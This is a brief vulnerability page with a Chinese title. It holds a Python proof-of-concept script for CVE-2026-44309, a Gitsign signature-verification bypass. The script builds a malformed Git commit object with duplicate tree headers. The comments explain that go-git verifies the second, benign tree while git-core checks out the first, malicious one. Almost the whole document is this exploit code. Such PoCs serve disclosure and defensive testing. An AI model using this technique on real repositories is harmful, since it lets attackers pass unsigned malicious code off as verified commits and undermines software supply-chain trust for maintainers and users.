CVE-2026-44309 Gitsign签名验证绕过漏洞

# PoC for CVE-2026-44309 # This script demonstrates the creation of a malformed Git commit object # containing duplicate tree headers to exploit the parsing difference. import zlib def create_malformed_git_object(tree_hash_1, tree_hash_2, parent_hash, author_info, commit_msg): """ Creates a raw git commit object with two 'tree' lines. git-core will use tree_hash_1. go-git (used by vulnerable gitsign) will use tree_hash_2. """ # Construct the commit content with duplicate tree headers # The signature must be generated based on the second tree (tree_hash_2) # to pass verification in the vulnerable version. content = f"tree {tree_hash_1}\n" content += f"tree {tree_hash_2}\n" # Duplicate header content += f"parent {parent_hash}\n" content += f"author {author_info}\n" content += f"committer {author_info}\n" content += f"\n{commit_msg}\n" # Git object format: header + content header = f"commit {len(content)}\x00" full_object = header + content # Compress to simulate stored git object return zlib.compress(full_object.encode()) # Example usage: # tree_benign = "abc123..." # The tree go-git sees and signs # tree_malicious = "def456..." # The tree git-core sees and executes # blob = create_malformed_git_object(tree_malicious, tree_benign, ...) # print(f"Malformed object generated. Length: {len(blob)}")